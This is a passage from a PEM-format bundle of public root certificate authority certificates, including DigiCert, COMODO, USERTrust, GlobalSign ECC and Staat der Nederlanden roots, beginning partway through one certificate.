dyM0SXV89pgR6y3e7UEuFAUCf+D+IOs15xGsIs5XPd7JMG0QA4XN8f+MFrXBsj6IbGB/kE+V9/Yt rQE5BwT6dYB9v0lQ7e/JxHwc64B+27bQ3RP+ydOc17KXqQIDAQABo0IwQDAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUxhfQvKjqAkPyGwaZXSuQILnXnOQwDQYJKoZI hvcNAQELBQADggIBADRh2Va1EodVTd2jNTFGu6QHcrxfYWLopfsLN7E8trP6KZ1/AvWkyaiTt3px KGmPc+FSkNrVvjrlt3ZqVoAh313m6Tqe5T72omnHKgqwGEfcIHB9UqM+WXzBusnIFUBhynLWcKzS t/Ac5IYp8M7vaGPQtSCKFWGafoaYtMnCdvvMujAWzKNhxnQT5WvvoxXqA/4Ti2Tk08HS6IT7SdEQ TXlm66r99I0xHnAUrdzeZxNMgRVhvLfZkXdxGYFgu/BYpbWcC/ePIlUnwEsBbTuZDdQdm2NnL9Du DcpmvJRPpq3t/O5jrFc/ZSXPsoaP0Aj/uHYUbt7lJ+yreLVTubY/6CD50qi+YUbKh4yE8/nxoGib Ih6BJpsQBJFxwAYf3KDTuVan45gtf4Od34wrnDKOMpTwATwiKp9Dwi7DmDkHOHv8XgBCH/MyJnmD hPbl8MFREsALHgQjDFSlTC9JxUrRtm5gDWv8a4uFJGS3iQ6rJUdbPM9+Sb3H6QrG2vd+DhcI00iX 0HGS8A85PjRqHH3Y8iKuu2n0M7SmSFXRDw4m6Oy2Cy2nhTXN/VnIn9HNPlopNLk9hM6xZdRZkZFW dSHBd575euFgndOtBBj0fOtek49TSiIp+EgrPk2GrFt/ywaZWWDYWGWVjUTR939+J399roD1B0y2 PpxxVJkES/1Y+Zj0 -----END CERTIFICATE----- DigiCert Assured ID Root G2 =========================== -----BEGIN CERTIFICATE----- MIIDljCCAn6gAwIBAgIQC5McOtY5Z+pnI7/Dr5r0SzANBgkqhkiG9w0BAQsFADBlMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQw IgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzIwHhcNMTMwODAxMTIwMDAwWhcNMzgw MTE1MTIwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQL ExB3d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzIw ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDZ5ygvUj82ckmIkzTz+GoeMVSAn61UQbVH 35ao1K+ALbkKz3X9iaV9JPrjIgwrvJUXCzO/GU1BBpAAvQxNEP4HteccbiJVMWWXvdMX0h5i89vq bFCMP4QMls+3ywPgym2hFEwbid3tALBSfK+RbLE4E9HpEgjAALAcKxHad3A2m67OeYfcgnDmCXRw VWmvo2ifv922ebPynXApVfSr/5Vh88lAbx3RvpO704gqu52/clpWcTs/1PPRCv4o76Pu2ZmvA9OP YLfykqGxvYmJHzDNw6YuYjOuFgJ3RFrngQo8p0Quebg/BLxcoIfhG69Rjs3sLPr4/m3wOnyqi+Rn lTGNAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBTO w0q5mVXyuNtgv6l+vVa1lzan1jANBgkqhkiG9w0BAQsFAAOCAQEAyqVVjOPIQW5pJ6d1Ee88hjZv 0p3GeDgdaZaikmkuOGybfQTUiaWxMTeKySHMq2zNixya1r9I0jJmwYrA8y8678Dj1JGG0VDjA9tz d29KOVPt3ibHtX2vK0LRdWLjSisCx1BL4GnilmwORGYQRI+tBev4eaymG+g3NJ1TyWGqolKvSnAW hsI6yLETcDbYz+70CjTVW0z9B5yiutkBclzzTcHdDrEcDcRjvq30FPuJ7KJBDkzMyFdA0G4Dqs0M jomZmWzwPDCvON9vvKO+KSAnq3T/EyJ43pdSVR6DtVQgA+6uwE9W3jfMw3+qBCe703e4YtsXfJwo IhNzbM8m9Yop5w== -----END CERTIFICATE----- DigiCert Assured ID Root G3 =========================== -----BEGIN CERTIFICATE----- MIICRjCCAc2gAwIBAgIQC6Fa+h3foLVJRK/NJKBs7DAKBggqhkjOPQQDAzBlMQswCQYDVQQGEwJV UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQwIgYD VQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1 MTIwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3 d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwdjAQ BgcqhkjOPQIBBgUrgQQAIgNiAAQZ57ysRGXtzbg/WPuNsVepRC0FFfLvC/8QdJ+1YlJfZn4f5dwb RXkLzMZTCp2NXQLZqVneAlr2lSoOjThKiknGvMYDOAdfVdp+CW7if17QRSAPWXYQ1qAk8C3eNvJs KTmjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBTL0L2p4ZgF UaFNN6KDec6NHSrkhDAKBggqhkjOPQQDAwNnADBkAjAlpIFFAmsSS3V0T8gj43DydXLefInwz5Fy YZ5eEJJZVrmDxxDnOOlYJjZ91eQ0hjkCMHw2U/Aw5WJjOpnitqM7mzT6HtoQknFekROn3aRukswy 1vUhZscv6pZjamVFkpUBtA== -----END CERTIFICATE----- DigiCert Global Root G2 ======================= -----BEGIN CERTIFICATE----- MIIDjjCCAnagAwIBAgIQAzrx5qcRqaC7KGSxHQn65TANBgkqhkiG9w0BAQsFADBhMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAw HgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBHMjAeFw0xMzA4MDExMjAwMDBaFw0zODAxMTUx MjAwMDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3 dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEcyMIIBIjANBgkq hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuzfNNNx7a8myaJCtSnX/RrohCgiN9RlUyfuI2/Ou8jqJ kTx65qsGGmvPrC3oXgkkRLpimn7Wo6h+4FR1IAWsULecYxpsMNzaHxmx1x7e/dfgy5SDN67sH0NO 3Xss0r0upS/kqbitOtSZpLYl6ZtrAGCSYP9PIUkY92eQq2EGnI/yuum06ZIya7XzV+hdG82MHauV BJVJ8zUtluNJbd134/tJS7SsVQepj5WztCO7TG1F8PapspUwtP1MVYwnSlcUfIKdzXOS0xZKBgyM UNGPHgm+F6HmIcr9g+UQvIOlCsRnKPZzFBQ9RnbDhxSJITRNrw9FDKZJobq7nMWxM4MphQIDAQAB o0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUTiJUIBiV5uNu 5g/6+rkS7QYXjzkwDQYJKoZIhvcNAQELBQADggEBAGBnKJRvDkhj6zHd6mcY1Yl9PMWLSn/pvtsr F9+wX3N3KjITOYFnQoQj8kVnNeyIv/iPsGEMNKSuIEyExtv4NeF22d+mQrvHRAiGfzZ0JFrabA0U WTW98kndth/Jsw1HKj2ZL7tcu7XUIOGZX1NGFdtom/DzMNU+MeKNhJ7jitralj41E6Vf8PlwUHBH QRFXGU7Aj64GxJUTFy8bJZ918rGOmaFvE7FBcf6IKshPECBV1/MUReXgRPTqh5Uykw7+U0b6LJ3/ iyK5S9kJRaTepLiaWN0bfVKfjllDiIGknibVb63dDcY3fe0Dkhvld1927jyNxF1WW6LZZm6zNTfl MrY= -----END CERTIFICATE----- DigiCert Global Root G3 ======================= -----BEGIN CERTIFICATE----- MIICPzCCAcWgAwIBAgIQBVVWvPJepDU1w6QP1atFcjAKBggqhkjOPQQDAzBhMQswCQYDVQQGEwJV UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAwHgYD VQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBHMzAeFw0xMzA4MDExMjAwMDBaFw0zODAxMTUxMjAw MDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5k aWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEczMHYwEAYHKoZIzj0C AQYFK4EEACIDYgAE3afZu4q4C/sLfyHS8L6+c/MzXRq8NOrexpu80JX28MzQC7phW1FGfp4tn+6O YwwX7Adw9c+ELkCDnOg/QW07rdOkFFk2eJ0DQ+4QE2xy3q6Ip6FrtUPOZ9wj/wMco+I+o0IwQDAP BgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUs9tIpPmhxdiuNkHMEWNp Yim8S8YwCgYIKoZIzj0EAwMDaAAwZQIxAK288mw/EkrRLTnDCgmXc/SINoyIJ7vmiI1Qhadj+Z4y 3maTD/HMsQmP3Wyr+mt/oAIwOWZbwmSNuJ5Q3KjVSaLtx9zRSX8XAbjIho9OjIgrqJqpisXRAL34 VOKa5Vt8sycX -----END CERTIFICATE----- DigiCert Trusted Root G4 ======================== -----BEGIN CERTIFICATE----- MIIFkDCCA3igAwIBAgIQBZsbV56OITLiOQe9p3d1XDANBgkqhkiG9w0BAQwFADBiMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSEw HwYDVQQDExhEaWdpQ2VydCBUcnVzdGVkIFJvb3QgRzQwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1 MTIwMDAwWjBiMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3 d3cuZGlnaWNlcnQuY29tMSEwHwYDVQQDExhEaWdpQ2VydCBUcnVzdGVkIFJvb3QgRzQwggIiMA0G CSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC/5pBzaN675F1KPDAiMGkz7MKnJS7JIT3yithZwuEp pz1Yq3aaza57G4QNxDAf8xukOBbrVsaXbR2rsnnyyhHS5F/WBTxSD1Ifxp4VpX6+n6lXFllVcq9o k3DCsrp1mWpzMpTREEQQLt+C8weE5nQ7bXHiLQwb7iDVySAdYyktzuxeTsiT+CFhmzTrBcZe7Fsa vOvJz82sNEBfsXpm7nfISKhmV1efVFiODCu3T6cw2Vbuyntd463JT17lNecxy9qTXtyOj4DatpGY QJB5w3jHtrHEtWoYOAMQjdjUN6QuBX2I9YI+EJFwq1WCQTLX2wRzKm6RAXwhTNS8rhsDdV14Ztk6 MUSaM0C/CNdaSaTC5qmgZ92kJ7yhTzm1EVgX9yRcRo9k98FpiHaYdj1ZXUJ2h4mXaXpI8OCiEhtm mnTK3kse5w5jrubU75KSOp493ADkRSWJtppEGSt+wJS00mFt6zPZxd9LBADMfRyVw4/3IbKyEbe7 f/LVjHAsQWCqsWMYRJUadmJ+9oCw++hkpjPRiQfhvbfmQ6QYuKZ3AeEPlAwhHbJUKSWJbOUOUlFH dL4mrLZBdd56rF+NP8m800ERElvlEFDrMcXKchYiCd98THU/Y+whX8QgUWtvsauGi0/C1kVfnSD8 oR7FwI+isX4KJpn15GkvmB0t9dmpsh3lGwIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1Ud DwEB/wQEAwIBhjAdBgNVHQ4EFgQU7NfjgtJxXWRM3y5nP+e6mK4cD08wDQYJKoZIhvcNAQEMBQAD ggIBALth2X2pbL4XxJEbw6GiAI3jZGgPVs93rnD5/ZpKmbnJeFwMDF/k5hQpVgs2SV1EY+CtnJYY ZhsjDT156W1r1lT40jzBQ0CuHVD1UvyQO7uYmWlrx8GnqGikJ9yd+SeuMIW59mdNOj6PWTkiU0Tr yF0Dyu1Qen1iIQqAyHNm0aAFYF/opbSnr6j3bTWcfFqK1qI4mfN4i/RN0iAL3gTujJtHgXINwBQy 7zBZLq7gcfJW5GqXb5JQbZaNaHqasjYUegbyJLkJEVDXCLG4iXqEI2FCKeWjzaIgQdfRnGTZ6iah ixTXTBmyUEFxPT9NcCOGDErcgdLMMpSEDQgJlxxPwO5rIHQw0uA5NBCFIRUBCOhVMt5xSdkoF1BN 5r5N0XWs0Mr7QbhDparTwwVETyw2m+L64kW4I1NsBm9nVX9GtUw/bihaeSbSpKhil9Ie4u1Ki7wb /UdKDd9nZn6yW0HQO+T0O/QEY+nvwlQAUaCKKsnOeMzV6ocEGLPOr0mIr/OSmbaz5mEP0oUA51Aa 5BuVnRmhuZyxm7EAHu/QD09CbMkKvO5D+jpxpchNJqU1/YldvIViHTLSoCtU7ZpXwdv6EM8Zt4tK G48BtieVU+i2iW1bvGjUI+iLUaJW+fCmgKDWHrO8Dw9TdSmq6hN35N6MgSGtBxBHEa2HPQfRdbzP 82Z+ -----END CERTIFICATE----- COMODO RSA Certification Authority ================================== -----BEGIN CERTIFICATE----- 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 LaZRfyHBNVOFBkpdn627G190 -----END CERTIFICATE----- USERTrust RSA Certification Authority ===================================== -----BEGIN CERTIFICATE----- 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 Q+6IHdfGjjxDah2nGN59PRbxYvnKkKj9 -----END CERTIFICATE----- USERTrust ECC Certification Authority ===================================== -----BEGIN CERTIFICATE----- MIICjzCCAhWgAwIBAgIQXIuZxVqUxdJxVt7NiYDMJjAKBggqhkjOPQQDAzCBiDELMAkGA1UEBhMC VVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVU aGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBFQ0MgQ2VydGlmaWNhdGlv biBBdXRob3JpdHkwHhcNMTAwMjAxMDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBiDELMAkGA1UEBhMC VVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVU aGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBFQ0MgQ2VydGlmaWNhdGlv biBBdXRob3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQarFRaqfloI+d61SRvU8Za2EurxtW2 0eZzca7dnNYMYf3boIkDuAUU7FfO7l0/4iGzzvfUinngo4N+LZfQYcTxmdwlkWOrfzCjtHDix6Ez nPO/LlxTsV+zfTJ/ijTjeXmjQjBAMB0GA1UdDgQWBBQ64QmG1M8ZwpZ2dEl23OA1xmNjmjAOBgNV HQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjA2Z6EWCNzklwBB HU6+4WMBzzuqQhFkoJ2UOQIReVx7Hfpkue4WQrO/isIJxOzksU0CMQDpKmFHjFJKS04YcPbWRNZu 9YO6bVi9JNlWSOrvxKJGgYhqOkbRqZtNyWHa0V1Xahg= -----END CERTIFICATE----- GlobalSign ECC Root CA - R4 =========================== -----BEGIN CERTIFICATE----- MIIB4TCCAYegAwIBAgIRKjikHJYKBN5CsiilC+g0mAIwCgYIKoZIzj0EAwIwUDEkMCIGA1UECxMb R2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI0MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQD EwpHbG9iYWxTaWduMB4XDTEyMTExMzAwMDAwMFoXDTM4MDExOTAzMTQwN1owUDEkMCIGA1UECxMb R2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI0MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQD EwpHbG9iYWxTaWduMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEuMZ5049sJQ6fLjkZHAOkrprl OQcJFspjsbmG+IpXwVfOQvpzofdlQv8ewQCybnMO/8ch5RikqtlxP6jUuc6MHaNCMEAwDgYDVR0P AQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFFSwe61FuOJAf/sKbvu+M8k8o4TV MAoGCCqGSM49BAMCA0gAMEUCIQDckqGgE6bPA7DmxCGXkPoUVy0D7O48027KqGx2vKLeuwIgJ6iF JzWbVsaj8kfSt24bAgAXqmemFZHe+pTsewv4n4Q= -----END CERTIFICATE----- GlobalSign ECC Root CA - R5 =========================== -----BEGIN CERTIFICATE----- MIICHjCCAaSgAwIBAgIRYFlJ4CYuu1X5CneKcflK2GwwCgYIKoZIzj0EAwMwUDEkMCIGA1UECxMb R2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI1MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQD EwpHbG9iYWxTaWduMB4XDTEyMTExMzAwMDAwMFoXDTM4MDExOTAzMTQwN1owUDEkMCIGA1UECxMb R2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI1MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQD EwpHbG9iYWxTaWduMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAER0UOlvt9Xb/pOdEh+J8LttV7HpI6 SFkc8GIxLcB6KP4ap1yztsyX50XUWPrRd21DosCHZTQKH3rd6zwzocWdTaRvQZU4f8kehOvRnkmS h5SHDDqFSmafnVmTTZdhBoZKo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAd BgNVHQ4EFgQUPeYpSJvqB8ohREom3m7e0oPQn1kwCgYIKoZIzj0EAwMDaAAwZQIxAOVpEslu28Yx uglB4Zf4+/2a4n0Sye18ZNPLBSWLVtmg515dTguDnFt2KaAJJiFqYgIwcdK1j1zqO+F4CYWodZI7 yFz9SO8NdCKoCOJuxUnOxwy8p2Fp8fc74SrL+SvzZpA3 -----END CERTIFICATE----- Staat der Nederlanden Root CA - G3 ================================== -----BEGIN CERTIFICATE----- MIIFdDCCA1ygAwIBAgIEAJiiOTANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJOTDEeMBwGA1UE CgwVU3RhYXQgZGVyIE5lZGVybGFuZGVuMSswKQYDVQQDDCJTdGFhdCBkZXIgTmVkZXJsYW5kZW4g Um9vdCBDQSAtIEczMB4XDTEzMTExNDExMjg0MloXDTI4MTExMzIzMDAwMFowWjELMAkGA1UEBhMC TkwxHjAcBgNVBAoMFVN0YWF0IGRlciBOZWRlcmxhbmRlbjErMCkGA1UEAwwiU3RhYXQgZGVyIE5l ZGVybGFuZGVuIFJvb3QgQ0EgLSBHMzCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAL4y olQPcPssXFnrbMSkUeiFKrPMSjTysF/zDsccPVMeiAho2G89rcKezIJnByeHaHE6n3WWIkYFsO2t x1ueKt6c/DrGlaf1F2cY5y9JCAxcz+bMNO14+1Cx3Gsy8KL+tjzk7FqXxz8ecAgwoNzFs21v0IJy EavSgWhZghe3eJJg+szeP4TrjTgzkApyI/o1zCZxMdFyKJLZWyNtZrVtB0LrpjPOktvA9mxjeM3K Tj215VKb8b475lRgsGYeCasH/lSJEULR9yS6YHgamPfJEf0WwTUaVHXvQ9Plrk7O53vDxk5hUUur mkVLoR9BvUhTFXFkC4az5S6+zqQbwSmEorXLCCN2QyIkHxcE1G6cxvx/K2Ya7Irl1s9N9WMJtxU5 1nus6+N86U78dULI7ViVDAZCopz35HCz33JvWjdAidiFpNfxC95DGdRKWCyMijmev4SH8RY7Ngzp 07TKbBlBUgmhHbBqv4LvcFEhMtwFdozL92TkA1CvjJFnq8Xy7ljY3r735zHPbMk7ccHViLVlvMDo FxcHErVc0qsgk7TmgoNwNsXNo42ti+yjwUOH5kPiNL6VizXtBznaqB16nzaeErAMZRKQFWDZJkBE 41ZgpRDUajz9QdwOWke275dhdU/Z/seyHdTtXUmzqWrLZoQT1Vyg3N9udwbRcXXIV2+vD3dbAgMB AAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBRUrfrHkleu yjWcLhL75LpdINyUVzANBgkqhkiG9w0BAQsFAAOCAgEAMJmdBTLIXg47mAE6iqTnB/d6+Oea31BD U5cqPco8R5gu4RV78ZLzYdqQJRZlwJ9UXQ4DO1t3ApyEtg2YXzTdO2PCwyiBwpwpLiniyMMB8jPq KqrMCQj3ZWfGzd/TtiunvczRDnBfuCPRy5FOCvTIeuXZYzbB1N/8Ipf3YF3qKS9Ysr1YvY2WTxB1 v0h7PVGHoTx0IsL8B3+A3MSs/mrBcDCw6Y5p4ixpgZQJut3+TcCDjJRYwEYgr5wfAvg1VUkvRtTA 8KCWAg8zxXHzniN9lLf9OtMJgwYh/WA9rjLA0u6NpvDntIJ8CsxwyXmA+P5M9zWEGYox+wrZ13+b 8KKaa8MFSu1BYBQw0aoRQm7TIwIEC8Zl3d1Sd9qBa7Ko+gE4uZbqKmxnl4mUnrzhVNXkanjvSr0r mj1AfsbAddJu+2gw7OyLnflJNZoaLNmzlTnVHpL3prllL+U9bTpITAjc5CgSKL59NVzq4BZ+Extq 1z7XnvwtdbLBFNUjA9tbbws+eC8N3jONFrdI54OagQ97wUNNVQQXOEpR1VmiiXTTn74eS9fGbbeI JG9gkaSChVtWQbzQRKtqE77RLFi3EjNYsjdj3BP1lB0/QFH1T/U67cjF68IeHRaVesd+QnGTbksV tzDfqu1XhUisHWrdOWnk4Xl4vs4Fv6EM94B7IWcnMFk= 